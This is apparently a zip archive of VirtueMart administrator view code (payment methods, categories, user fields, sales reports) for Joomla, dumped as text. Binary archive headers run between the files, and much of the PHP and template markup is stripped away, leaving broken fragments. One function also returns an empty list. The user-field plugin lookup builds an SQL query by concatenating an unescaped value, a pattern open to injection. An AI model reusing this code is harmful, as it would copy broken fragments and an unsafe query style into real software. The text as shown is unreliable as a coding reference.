$currencyModel->getCurrency($vendor->vendor_currency); $this->assignRef('vendor_currency', $currencyModel->currency_symbol); if ($layoutName == 'edit') { // Load the helper(s) if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $payment = $model->getPayment(); $this->assignRef('payment', $payment); $this->assignRef('vmPPaymentList', self::renderInstalledPaymentPlugins($payment->payment_jplugin_id)); $this->assignRef('shopperGroupList', ShopFunctions::renderShopperGroupList($payment->virtuemart_shoppergroup_ids, true)); if(Vmconfig::get('multix','none')!=='none'){ $vendorList= ShopFunctions::renderVendorList($payment->virtuemart_vendor_id); $this->assignRef('vendorList', $vendorList); } $this->addStandardEditViewCommands( $payment->virtuemart_paymentmethod_id); } else { JToolBarHelper::custom('clonepayment', 'copy', 'copy', JText::_('COM_VIRTUEMART_PAYMENT_CLONE'), true); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $payments = $model->getPayments(); $this->assignRef('payments', $payments); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } function renderInstalledPaymentPlugins($selected){ if ( JVM_VERSION===1) { $table = '#__plugins'; $ext_id = 'id'; $enable = 'published'; } else { $table = '#__extensions'; $ext_id = 'extension_id'; $enable = 'enabled'; } $db = JFactory::getDBO(); //Todo speed optimize that, on the other hand this function is NOT often used and then only by the vendors // $q = 'SELECT * FROM #__plugins as pl JOIN `#__virtuemart_payment_method` AS pm ON `pl`.`id`=`pm`.`payment_jplugin_id` WHERE `folder` = "vmpayment" AND `published`="1" '; // $q = 'SELECT * FROM #__plugins as pl,#__virtuemart_payment_method as pm WHERE `folder` = "vmpayment" AND `published`="1" AND pl.id=pm.payment_jplugin_id'; $q = 'SELECT * FROM `'.$table.'` WHERE `folder` = "vmpayment" and `state`="0" AND `element`<>"moneybookers" ORDER BY `ordering`,`name` ASC'; $db->setQuery($q); $result = $db->loadAssocList($ext_id); if(empty($result)){ $app = JFactory::getApplication(); $app -> enqueueMessage(JText::_('COM_VIRTUEMART_NO_PAYMENT_PLUGINS_INSTALLED')); } $listHTML=''; return $listHTML; } } // pure php not tag PKtl>\/U٤_com_virtuemart_update/administrator/components/com_virtuemart/views/paymentmethod/tmpl/edit.phpnuW+A
      payment->virtuemart_paymentmethod_id ); // Loading Templates in Tabs END ?>
      PKtl>\)`com_virtuemart_update/administrator/components/com_virtuemart/views/paymentmethod/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\ fcom_virtuemart_update/administrator/components/com_virtuemart/views/paymentmethod/tmpl/edit_config.phpnuW+Apayment->payment_jplugin_id){ // vmdebug('my payment ',$this->payment); //$parameters = new vmParameters($this->paym->payment_params, JPATH_PLUGINS.DS.'vmpayment'.DS.basename($this->paym->payment_element).'.xml', 'plugin' ); $parameters = new vmParameters($this->payment, $this->payment->payment_element , 'plugin' ,'vmpayment'); echo $rendered = $parameters->render(); } else { echo JText::_('COM_VIRTUEMART_SELECT_PAYMENT_METHOD' ); } PKtl>\acom_virtuemart_update/administrator/components/com_virtuemart/views/paymentmethod/tmpl/index.htmlnuW+APKtl>\qzȍdcom_virtuemart_update/administrator/components/com_virtuemart/views/paymentmethod/tmpl/edit_edit.phpnuW+A langList; ?>
      payment->payment_name); ?> payment->slug); ?> payment->published); ?> payment->payment_desc); ?> vmPPaymentList ); ?> shopperGroupList ); ?> payment->ordering,'class="inputbox"','',4,4); ?> vendorList); } ?>
      PKtl>\u |bcom_virtuemart_update/administrator/components/com_virtuemart/views/paymentmethod/tmpl/default.phpnuW+Acheck( 'admin' )){ ?>
      perms->check( 'admin' )){ ?> payments ); $i < $n; $i++) { $row = $this->payments[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_paymentmethod_id); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=paymentmethod&task=edit&cid[]=' . $row->virtuemart_paymentmethod_id); ?> "> perms->check( 'admin' )){?>
      sort('payment_name', 'COM_VIRTUEMART_PAYMENT_LIST_NAME'); ?> sort('virtuemart_vendor_id', 'COM_VIRTUEMART_VENDOR'); ?> sort('payment_element', 'COM_VIRTUEMART_PAYMENT_ELEMENT'); ?> sort('ordering', 'COM_VIRTUEMART_LIST_ORDER'); ?> sort('published', 'COM_VIRTUEMART_PUBLISHED'); ?> sort('virtuemart_paymentmethod_id', 'COM_VIRTUEMART_ID') ?>
      payment_name; ?> payment_desc; ?> virtuemart_vendor_id); ?> paymShoppersList; ?> payment_element; ?> ordering; ?> shared; ?> virtuemart_paymentmethod_id; ?>
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      PKtl>\)[com_virtuemart_update/administrator/components/com_virtuemart/views/paymentmethod/.htaccessnuW+A Order allow,deny Deny from all PKtl>\\com_virtuemart_update/administrator/components/com_virtuemart/views/paymentmethod/index.htmlnuW+APKtl>\#o,,Ncom_virtuemart_update/administrator/components/com_virtuemart/views/index.htmlnuW+APKtl>\\com_virtuemart_update/administrator/components/com_virtuemart/views/category/tmpl/index.htmlnuW+APKtl>\ bacom_virtuemart_update/administrator/components/com_virtuemart/views/category/tmpl/edit_images.phpnuW+A
      category->images[0]->displayFilesHandler($this->category->virtuemart_media_id); if(empty($this->category->images[0]->virtuemart_media_id)) $this->category->images[0]->addHidden('file_is_category_image','1'); if ($this->category->virtuemart_media_id) echo $this->category->images[0]->displayFilesHandler($this->category->virtuemart_media_id,'category'); else echo $this->category->images[0]->displayFilesHandler(null,'category'); ?>
      PKtl>\hc\iiZcom_virtuemart_update/administrator/components/com_virtuemart/views/category/tmpl/edit.phpnuW+A
      'COM_VIRTUEMART_CATEGORY_FORM_LBL', 'images' => 'COM_VIRTUEMART_IMAGES' ),$this->category->virtuemart_category_id ); ?> addStandardHiddenToForm(); ?>
      PKtl>\)[com_virtuemart_update/administrator/components/com_virtuemart/views/category/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\5⺝ZZ]com_virtuemart_update/administrator/components/com_virtuemart/views/category/tmpl/default.phpnuW+A
      check('admin') ){ ?> categories ); if( $this->catpagination->limit < $nrows ){ if( ($this->catpagination->limitstart + $this->catpagination->limit) < $nrows ) { $nrows = $this->catpagination->limitstart + $this->catpagination->limit; } } // for ($i = $this->pagination->limitstart; $i < $nrows; $i++) { foreach($this->categories as $i=>$cat){ // if( !isset($this->rowList[$i])) $this->rowList[$i] = $i; // if( !isset($this->depthList[$i])) $this->depthList[$i] = 0; // $row = $this->categories[$this->rowList[$i]]; $checked = JHTML::_('grid.id', $i, $cat->virtuemart_category_id); $published = JHTML::_('grid.published', $cat, $i); $editlink = JRoute::_('index.php?option=com_virtuemart&view=category&task=edit&cid=' . $cat->virtuemart_category_id, FALSE); // $statelink = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id=' . $cat->virtuemart_category_id); $showProductsLink = JRoute::_('index.php?option=com_virtuemart&view=product&virtuemart_category_id=' . $cat->virtuemart_category_id, FALSE); $shared = $this->toggle($cat->shared, $i, 'toggle.shared'); $categoryLevel = ''; if(!isset($cat->level)){ if($cat->category_parent_id){ $cat->level = 1; } else { $cat->level = 0; } } $repeat = $cat->level; if($repeat > 1){ $categoryLevel = str_repeat(".   ", $repeat - 1); $categoryLevel .= "|_ "; } ?> ">
      sort('category_name') ?> sort('category_description', 'COM_VIRTUEMART_DESCRIPTION') ; ?> sort( 'c.ordering' , 'COM_VIRTUEMART_ORDERING') ?> categories, 'filesave.png', 'saveOrder' ); ?> sort('c.published' , 'COM_VIRTUEMART_PUBLISHED') ?> sort( 'cx.category_shared' , 'COM_VIRTUEMART_SHARED') ?> sort('virtuemart_category_id', 'COM_VIRTUEMART_ID') ?>
      escape($cat->category_name);?> category_description),200); ?> catmodel->countProducts($cat->virtuemart_category_id);//ShopFunctions::countProductsByCategory($row->virtuemart_category_id);?>  [ ] category_parent_id == 0 || $cat->category_parent_id == @$this->categories[$i - 1]->category_parent_id)); $cond2= ($cat->category_parent_id == 0 || $cat->category_parent_id == @$this->categories[$i + 1]->category_parent_id); echo $this->catpagination->orderUpIcon( $i, $cond, 'orderUp', JText::_('COM_VIRTUEMART_MOVE_UP')); ?> catpagination->orderDownIcon( $i, $nrows, $cond2, 'orderDown', JText::_('COM_VIRTUEMART_MOVE_DOWN')); ?> virtuemart_category_id; // echo $product->vendor_name; ?>
      catpagination->getListFooter(); ?>
      _name); echo $this->addStandardHiddenToForm($this->_name,$this->task); ?>
      virtuemart_category_id ) { ?> PKtl>\Ogcom_virtuemart_update/administrator/components/com_virtuemart/views/category/tmpl/edit_categoryform.phpnuW+AlangList ?> perms->check('admin') ){ echo VmHTML::row('raw','COM_VIRTUEMART_VENDOR', $this->vendorList ); } ?>
      category->category_name); ?> category->published); ?> category->slug); ?> category->category_description); ?>
      parent->virtuemart_category_id, 'ordering', '', 'ordering', 'category_name', $this->category->ordering) ); ?> '.$this->categorylist.' '; echo VmHTML::row('raw','COM_VIRTUEMART_CATEGORY_ORDERING', $categorylist ); ?> category->products_per_row); ?> category->limit_list_step); ?> category->limit_list_initial); ?> jTemplateList ,$this->category->category_template,'','directory', 'name',false) ; ?> categoryLayouts ,$this->category->category_layout,'','value', 'text',false) ; ?> productLayouts ,$this->category->category_product_layout,'','value', 'text',false) ; ?>
      category); ?>
      PKtl>\)Vcom_virtuemart_update/administrator/components/com_virtuemart/views/category/.htaccessnuW+A Order allow,deny Deny from all PKtl>\Wcom_virtuemart_update/administrator/components/com_virtuemart/views/category/index.htmlnuW+APKtl>\"Zcom_virtuemart_update/administrator/components/com_virtuemart/views/category/view.html.phpnuW+AgetLayout(); $task = JRequest::getWord('task',$layoutName); $this->assignRef('task', $task); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $perms = Permissions::getInstance(); $this->assignRef('perms', $perms); if ($layoutName == 'edit') { $category = $model->getCategory('',false); // Toolbar $text=''; if (isset($category->category_name)) $name = $category->category_name; else $name =''; if(!empty($category->virtuemart_category_id)){ $text = ''. $name.''; } $this->SetViewTitle('CATEGORY',$text); $model->addImages($category); if ( $category->virtuemart_category_id > 1 ) { $relationInfo = $model->getRelationInfo( $category->virtuemart_category_id ); $this->assignRef('relationInfo', $relationInfo); } $parent = $model->getParentCategory( $category->virtuemart_category_id ); $this->assignRef('parent', $parent); if(!class_exists('ShopFunctions'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $templateList = ShopFunctions::renderTemplateList(JText::_('COM_VIRTUEMART_CATEGORY_TEMPLATE_DEFAULT')); $this->assignRef('jTemplateList', $templateList); if(!class_exists('VirtueMartModelConfig'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'config.php'); $categoryLayoutList = VirtueMartModelConfig::getLayoutList('category'); $this->assignRef('categoryLayouts', $categoryLayoutList); $productLayouts = VirtueMartModelConfig::getLayoutList('productdetails'); $this->assignRef('productLayouts', $productLayouts); //Nice fix by Joe, the 4. param prevents setting an category itself as child $categorylist = ShopFunctions::categoryListTree(array($parent->virtuemart_category_id), 0, 0, (array) $category->virtuemart_category_id); if(Vmconfig::get('multix','none')!=='none'){ $vendorList= ShopFunctions::renderVendorList($category->virtuemart_vendor_id,false); $this->assignRef('vendorList', $vendorList); } $this->assignRef('category', $category); $this->assignRef('categorylist', $categorylist); $this->addStandardEditViewCommands($category->virtuemart_category_id,$category); } else { $this->SetViewTitle('CATEGORY_S'); $keyWord =''; $this->assignRef('catmodel', $model); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model,'category_name'); $categories = $model->getCategoryTree(0,0,false,$this->lists['search']); $this->assignRef('categories', $categories); $pagination = $model->getPagination(); $this->assignRef('catpagination', $pagination); //we need a function of the FE shopfunctions helper to cut the category descriptions jimport('joomla.filter.output'); } parent::display($tpl); } } // pure php no closing tag PKtl>\33\com_virtuemart_update/administrator/components/com_virtuemart/views/userfields/view.html.phpnuW+AgetCoreFields(); if ($layoutName == 'edit') { $editor = JFactory::getEditor(); $userField = $model->getUserfield(); $this->SetViewTitle('USERFIELD',$userField->name ); $this->assignRef('viewName',$viewName); $userFieldPlugin = ''; if ($userField->virtuemart_userfield_id < 1) { // Insert new userfield $this->assignRef('ordering', JText::_('COM_VIRTUEMART_NEW_ITEMS_PLACE')); $userFieldValues = array(); $attribs = ''; $lists['type'] = JHTML::_('select.genericlist', $this->_getTypes(), 'type', $attribs, 'type', 'text', $userField->type); } else { // Update existing userfield // Ordering dropdown $qry = 'SELECT ordering AS value, name AS text' . ' FROM #__virtuemart_userfields' . ' ORDER BY ordering'; $ordering = JHTML::_('list.specificordering', $userField, $userField->virtuemart_userfield_id, $qry); $this->assignRef('ordering', $ordering); $userFieldValues = $model->getUserfieldValues(); $lists['type'] = $this->_getTypes($userField->type) . ''; if (strpos($userField->type, 'plugin') !==false) $userFieldPlugin = self::renderUserfieldPlugin(substr($userField->type, 6),$userField); } $this->assignRef('userFieldPlugin', $userFieldPlugin); JToolBarHelper::divider(); JToolBarHelper::save(); JToolBarHelper::apply(); JToolBarHelper::cancel(); $notoggle = (in_array($userField->name, $lists['coreFields']) ? 'class="readonly"' : ''); // Vendor selection if(Vmconfig::get('multix','none')!=='none'){ $lists['vendors']= ShopFunctions::renderVendorList($userField->virtuemart_vendor_id); } // Shopper groups for EU VAT Id $shoppergroup_model = VmModel::getModel('shoppergroup'); $shoppergroup_list = $shoppergroup_model->getShopperGroups(true); array_unshift($shoppergroup_list,'0'); $lists['shoppergroups'] = JHTML::_('select.genericlist', $shoppergroup_list, 'virtuemart_shoppergroup_id', '', 'virtuemart_shoppergroup_id', 'shopper_group_name', $model->_params->get('virtuemart_shoppergroup_id')); // Minimum age select $ages = array(); for ($i = 13; $i <= 25; $i++) { $ages[] = array('key' => $i, 'value' => $i.' '.JText::_('COM_VIRTUEMART_YEAR_S')); } $lists['minimum_age'] = JHTML::_('select.genericlist', $ages, 'minimum_age', '', 'key', 'value', $model->_params->get('minimum_age', 18)); // Web address types $webaddress_types = array( array('key' => 0, 'value' => JText::_('COM_VIRTUEMART_USERFIELDS_URL_ONLY')) ,array('key' => 2, 'value' => JText::_('COM_VIRTUEMART_USERFIELDS_HYPERTEXT_URL')) ); $lists['webaddresstypes'] = JHTML::_('select.genericlist', $webaddress_types, 'webaddresstype', '', 'key', 'value', $model->_params->get('webaddresstype')); // Userfield values if (($n = count($userFieldValues)) < 1) { $lists['userfield_values'] = '' .'' .'' .''; $i = 1; } else { $lists['userfield_values'] = ''; $lang =JFactory::getLanguage(); for ($i = 0; $i < $n; $i++) { $translate= $lang->hasKey($userFieldValues[$i]->fieldtitle) ? " (".JText::_($userFieldValues[$i]->fieldtitle).")" : ""; $lists['userfield_values'] .= '' .'' .''.$translate.'' .''; } } $this->assignRef('valueCount', --$i); // Toggles $lists['required'] = VmHTML::row('booleanlist','COM_VIRTUEMART_FIELDMANAGER_REQUIRED','required',$userField->required,$notoggle); $lists['published'] = VmHTML::row('booleanlist','COM_VIRTUEMART_PUBLISHED','published',$userField->published,$notoggle); $lists['registration'] = VmHTML::row('booleanlist','COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_REGISTRATION','registration',$userField->registration,$notoggle); $lists['shipment'] = VmHTML::row('booleanlist','COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_SHIPPING','shipment',$userField->shipment,$notoggle); $lists['account'] = VmHTML::row('booleanlist','COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_ACCOUNT','account',$userField->account,$notoggle); $lists['readonly'] = VmHTML::row('booleanlist','COM_VIRTUEMART_USERFIELDS_READONLY','readonly',$userField->readonly,$notoggle); $this->assignRef('lists', $lists); $this->assignRef('userField', $userField); $this->assignRef('userFieldValues', $userFieldValues); $this->assignRef('editor', $editor); } else { JToolBarHelper::title( JText::_('COM_VIRTUEMART_MANAGE_USER_FIELDS'),'vm_user_48 head'); JToolBarHelper::addNewX(); JToolBarHelper::editListX(); JToolBarHelper::divider(); JToolBarHelper::custom('toggle.required.1', 'publish','','COM_VIRTUEMART_FIELDMANAGER_REQUIRE'); JToolBarHelper::custom('toggle.required.0', 'unpublish','','COM_VIRTUEMART_FIELDMANAGER_UNREQUIRE'); JToolBarHelper::publishList(); JToolBarHelper::unpublishList(); JToolBarHelper::divider(); $barText = JText::_('COM_VIRTUEMART_FIELDMANAGER_SHOW_HIDE'); $bar= JToolBar::getInstance( 'toolbar' ); $bar->appendButton( 'Separator', '">'.$barText.'
      ' .$retImgSrc. ''); } } /** * Create an array with userfield types and the visible text in the format expected by the Joomla select class * * @param string $value If not null, the type of which the text should be returned * @return mixed array or string */ function _getTypes ($value = null) { $types = array( array('type' => 'text' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_TEXTFIELD')) ,array('type' => 'checkbox' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_CHECKBOX_SINGLE')) ,array('type' => 'multicheckbox' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_CHECKBOX_MULTIPLE')) ,array('type' => 'date' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_DATE')) ,array('type' => 'age_verification' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_AGEVERIFICATION')) ,array('type' => 'select' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_DROPDOWN_SINGLE')) ,array('type' => 'multiselect' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_DROPDOWN_MULTIPLE')) ,array('type' => 'emailaddress' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_EMAIL')) // ,array('type' => 'euvatid' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_EUVATID')) ,array('type' => 'editorta' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_EDITORAREA')) ,array('type' => 'textarea' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_TEXTAREA')) ,array('type' => 'radio' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_RADIOBUTTON')) ,array('type' => 'webaddress' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_WEBADDRESS')) ,array('type' => 'delimiter' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_DELIMITER')) ); $this->renderInstalledUserfieldPlugins($types); if ($value === null) { return $types; } else { foreach ($types as $type) { if ($type['type'] == $value) { return $type['text']; } return $value; } } } function renderUserfieldPlugin($element, $params){ $db = JFactory::getDBO(); if (JVM_VERSION===1) { $table = '#__plugins'; $jelement = 'element'; } else { $table = '#__extensions'; $jelement = 'element'; } $q = 'SELECT `params`,`element` FROM `' . $table . '` WHERE `' . $jelement . '` = "'.$element.'"'; $db ->setQuery($q); $this->plugin = $db ->loadObject(); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $parameters = new vmParameters($params, $this->plugin->element , 'plugin' ,'vmuserfield'); $lang = JFactory::getLanguage(); $filename = 'plg_vmuserfield_' . $this->plugin->element; $lang->load($filename, JPATH_ADMINISTRATOR); return $parameters->render(); } function renderInstalledUserfieldPlugins(&$plugins){ if ( JVM_VERSION===1) { $table = '#__plugins'; $ext_id = 'id'; $enable = 'published'; } else { $table = '#__extensions'; $ext_id = 'extension_id'; $enable = 'enabled'; } $db = JFactory::getDBO(); $q = 'SELECT * FROM `'.$table.'` WHERE `folder` = "vmuserfield" AND `'.$enable.'`="1" '; $db->setQuery($q); $userfieldplugins = $db->loadAssocList($ext_id); if(empty($userfieldplugins)){ return; } foreach($userfieldplugins as $userfieldplugin){ $plugins[] = array('type' => 'plugin'.$userfieldplugin['element'], 'text' => $userfieldplugin['name']); } return; } } //No Closing Tag PKtl>\&&\com_virtuemart_update/administrator/components/com_virtuemart/views/userfields/tmpl/edit.phpnuW+AuserField',$this->userField); ?>
      lists['type'] ); ?> userField->description,'100%','300', array('image','pagebreak', 'readmore') ); ?> userField->default,'class="inputbox"','',5); ?> lists['required']; ?> lists['registration']; ?> lists['account']; ?> lists['shipment']; ?> lists['readonly']; ?> lists['published']; ?> userField->size,'class="inputbox"','',5); ?> userField->ordering,'class="inputbox"','',5); ?> lists['vendors'] ); } ?>
      userField->maxlength,'class="inputbox"','',5); ?>
      userField->cols,'class="inputbox"','',5); ?> userField->rows,'class="inputbox"','',5); ?>
      lists['minimum_age'] ); ?>
      lists['webaddresstypes'] ); ?>
      lists['userfield_values'];?>
      userFieldPlugin; ?>
      userField->sys ? 'readonly="readonly"' : ''); $readonly=$this->userField->sys ? 'readonly' : '' ?> class="validate[required,funcCall[checkName]] inputbox " />
      hasKey($this->userField->title) ? JText::_($this->userField->title) : $this->userField->title; ?> ()
      addStandardHiddenToForm(); ?>
      setQuery("SHOW COLUMNS FROM `#__virtuemart_userfields`"); $existingFields = '"'.implode('","',$db->loadResultArray()).'"'; ?> PKtl>\)]com_virtuemart_update/administrator/components/com_virtuemart/views/userfields/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\_com_virtuemart_update/administrator/components/com_virtuemart/views/userfields/tmpl/default.phpnuW+A
      userfieldsList); $i < $n; $i++) { $row = $this->userfieldsList[$i]; // vmdebug('my rows',$row); $coreField = (in_array($row->name, $this->lists['coreFields'])); $image = (JVM_VERSION===1) ? 'checked_out.png' : 'admin/checked_out.png'; $image = JHtml::_('image.administrator', $image, '/images/', null, null, JText::_('COM_VIRTUEMART_FIELDMANAGER_COREFIELD')); //$checked = '
      '.JHTML::_('grid.id', $i, null,$row->virtuemart_userfield_id); $checked = JHTML::_('grid.id', $i ,$row->virtuemart_userfield_id,null,'virtuemart_userfield_id'); if ($coreField) $checked.=''. $image .''; $checked .= '
      '; // There is no reason not to allow moving of the core fields. We only need to disable deletion of them // ($coreField) ? // ''. $image .'' : $editlink = JROUTE::_('index.php?option=com_virtuemart&view=userfields&task=edit&virtuemart_userfield_id=' . $row->virtuemart_userfield_id); $required = $this->toggle($row->required, $i, 'toggle.required', $coreField); // $published = JHTML::_('grid.published', $row, $i); $published = $this->toggle($row->published, $i, 'toggle.published', $coreField); $registration = $this->toggle($row->registration, $i, 'toggle.registration', $coreField); $shipment = $this->toggle($row->shipment, $i, 'toggle.shipment', $coreField); $account = $this->toggle($row->account, $i, 'toggle.account', $coreField); $ordering = ($this->lists['filter_order'] == 'ordering'); $disabled = ($ordering ? '' : 'disabled="disabled"'); ?>
      sort('name','COM_VIRTUEMART_FIELDMANAGER_NAME') ?> sort('type','COM_VIRTUEMART_FIELDMANAGER_TYPE') ?> sort('ordering','COM_VIRTUEMART_FIELDMANAGER_REORDER') ?> userfieldsList ); ?> sort('virtuemart_userfield_id', 'COM_VIRTUEMART_ID') ?>
      name); ?> title); ?> type); ?> pagination->orderUpIcon( $i, true, 'orderup', JText::_('COM_VIRTUEMART_MOVE_UP'), $ordering ); ?> pagination->orderDownIcon( $i, $n, true, 'orderdown', JText::_('COM_VIRTUEMART_MOVE_DOWN'), $ordering ); ?> class="text_area" style="text-align: center" /> virtuemart_userfield_id; ?>
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      PKtl>\^com_virtuemart_update/administrator/components/com_virtuemart/views/userfields/tmpl/index.htmlnuW+APKtl>\y\com_virtuemart_update/administrator/components/com_virtuemart/views/userfields/view.json.phpnuW+AsetQuery($q); $this->plugin = $db ->loadObject(); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $parameters = new vmParameters($this->plugin , $this->plugin->element , 'plugin' ,'vmuserfield'); $lang = JFactory::getLanguage(); $filename = 'plg_vmuserfield_' . $this->plugin->element; if(VmConfig::get('enableEnglish', 1)){ $lang->load($filename, JPATH_ADMINISTRATOR, 'en-GB', true); } $lang->load($filename, JPATH_ADMINISTRATOR, $lang->getDefault(), true); $lang->load($filename, JPATH_ADMINISTRATOR, null, true); echo $parameters->render(); //echo ''; jExit(); } } jExit(); } } // pure php no closing tag PKtl>\)Xcom_virtuemart_update/administrator/components/com_virtuemart/views/userfields/.htaccessnuW+A Order allow,deny Deny from all PKtl>\Ycom_virtuemart_update/administrator/components/com_virtuemart/views/userfields/index.htmlnuW+APKtl>\Ucom_virtuemart_update/administrator/components/com_virtuemart/views/report/index.htmlnuW+APKtl>\:S:Xcom_virtuemart_update/administrator/components/com_virtuemart/views/report/view.html.phpnuW+ASetViewTitle('REPORT'); $myCurrencyDisplay = CurrencyDisplay::getInstance(); //update order items button $q = 'SELECT * FROM #__virtuemart_order_items WHERE `product_discountedPriceWithoutTax` IS NULL '; $db = JFactory::getDBO(); $db->setQuery($q); $res = $db->loadRow(); if($res) { JToolBarHelper::customX('updateOrderItems', 'new', 'new', JText::_('COM_VIRTUEMART_REPORT_UPDATEORDERITEMS'),false); vmError('COM_VIRTUEMART_REPORT_UPDATEORDERITEMS_WARN'); } $this->addStandardDefaultViewLists($model); $revenueBasic = $model->getRevenue(); if($revenueBasic){ $totalReport['revenueTotal_brutto']= $totalReport['revenueTotal_netto']= $totalReport['number_of_ordersTotal'] = $totalReport['itemsSoldTotal'] = 0 ; foreach($revenueBasic as &$j){ vmdebug('VirtuemartViewReport revenue',$j); $totalReport['revenueTotal_netto'] += $j['order_subtotal_netto']; $totalReport['revenueTotal_brutto'] += $j['order_subtotal_brutto']; $totalReport['number_of_ordersTotal'] += $j['count_order_id']; $j['order_subtotal_netto'] = $myCurrencyDisplay->priceDisplay($j['order_subtotal_netto']); $j['order_subtotal_brutto'] = $myCurrencyDisplay->priceDisplay($j['order_subtotal_brutto']); //$j['product_quantity'] = $model->getItemsByRevenue($j); $totalReport['itemsSoldTotal'] +=$j['product_quantity']; } $totalReport['revenueTotal_netto'] = $myCurrencyDisplay->priceDisplay($totalReport['revenueTotal_netto']); $totalReport['revenueTotal_brutto'] = $myCurrencyDisplay->priceDisplay($totalReport['revenueTotal_brutto']); // if ( 'product_quantity'==JRequest::getWord('filter_order')) { // foreach ($revenueBasic as $key => $row) { // $created_on[] =$row['created_on']; // $intervals[] =$row['intervals']; // $itemsSold[] =$row['product_quantity']; // $number_of_orders[] =$row['count_order_id']; // $revenue[] =$row['revenue']; // } // if (JRequest::getWord('filter_order_Dir') == 'desc') array_multisort($itemsSold, SORT_DESC,$revenueBasic); // else array_multisort($itemsSold, SORT_ASC,$revenueBasic); // } } $this->assignRef('report', $revenueBasic); $this->assignRef('totalReport', $totalReport); //$itemsSold = $model->getItemsSold($revenueBasic); //$this->assignRef('itemsSold', $itemsSold); // I tihnk is to use in a different layout such as product solds // PATRICK K. // $productList = $model->getOrderItems(); // $this->assignRef('productList', $productList); $orderstatusM =VmModel::getModel('orderstatus'); $this->lists['select_date'] = $model->renderDateSelectList(); $orderstates = JRequest::getVar ('order_status_code', array('C','S')); $this->lists['state_list'] = $orderstatusM->renderOSList($orderstates,'order_status_code',TRUE); $this->lists['intervals'] = $model->renderIntervalsList(); $this->assignRef('from_period', $model->from_period); $this->assignRef('until_period', $model->until_period); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); parent::display($tpl); } } PKtl>\CE[com_virtuemart_update/administrator/components/com_virtuemart/views/report/tmpl/default.phpnuW+Areport ); $intervalTitle = JRequest::getVar('intervals','day'); if ( ($intervalTitle =='week') or ($intervalTitle =='month') ) $addDateInfo = true ; else $addDateInfo = false; // if( $this->pagination->limit < $rows ){ // if( ($this->pagination->limitstart + $this->pagination->limit) < $rows ) { // $rows = $this->pagination->limitstart + $this->pagination->limit; // } // } if ( JVM_VERSION == 2 ) JHtml::_('behavior.framework', true); ?>
      report[$j]; //$is = $this->itemsSold[$j]; $s = 0; ?>
      sort('created_on', 'COM_VIRTUEMART_'.$intervalTitle); ?> sort('o.virtuemart_order_id', 'COM_VIRTUEMART_REPORT_BASIC_ORDERS') ; ?> sort('product_quantity', 'COM_VIRTUEMART_REPORT_BASIC_TOTAL_ITEMS') ; ?> sort('order_subtotal_netto', 'COM_VIRTUEMART_REPORT_BASIC_REVENUE_NETTO') ; ?> sort('order_subtotal_brutto', 'COM_VIRTUEMART_REPORT_BASIC_REVENUE_BRUTTO') ; ?> sort('order_item_name', 'COM_VIRTUEMART_PRODUCT_NAME') ; ?> sort('virtuemart_product_id', 'COM_VIRTUEMART_PRODUCT_ID') ; ?>
      totalReport['number_of_ordersTotal']?> totalReport['itemsSoldTotal'];?> totalReport['revenueTotal_netto'];?> totalReport['revenueTotal_brutto'];?>
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      PKtl>\Zcom_virtuemart_update/administrator/components/com_virtuemart/views/report/tmpl/index.htmlnuW+APKtl>\)Ycom_virtuemart_update/administrator/components/com_virtuemart/views/report/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\)Tcom_virtuemart_update/administrator/components/com_virtuemart/views/report/.htaccessnuW+A Order allow,deny Deny from all PKtl>\#o,,Tcom_virtuemart_update/administrator/components/com_virtuemart/views/about/index.htmlnuW+APKtl>\)Scom_virtuemart_update/administrator/components/com_virtuemart/views/about/.htaccessnuW+A Order allow,deny Deny from all PKtl>\gk)Wcom_virtuemart_update/administrator/components/com_virtuemart/views/about/view.html.phpnuW+A\!wKKZcom_virtuemart_update/administrator/components/com_virtuemart/views/about/tmpl/default.phpnuW+A\#o,,Ycom_virtuemart_update/administrator/components/com_virtuemart/views/about/tmpl/index.htmlnuW+APKtl>\)Xcom_virtuemart_update/administrator/components/com_virtuemart/views/about/tmpl/.htaccessnuW+A Order allow,deny Deny from all 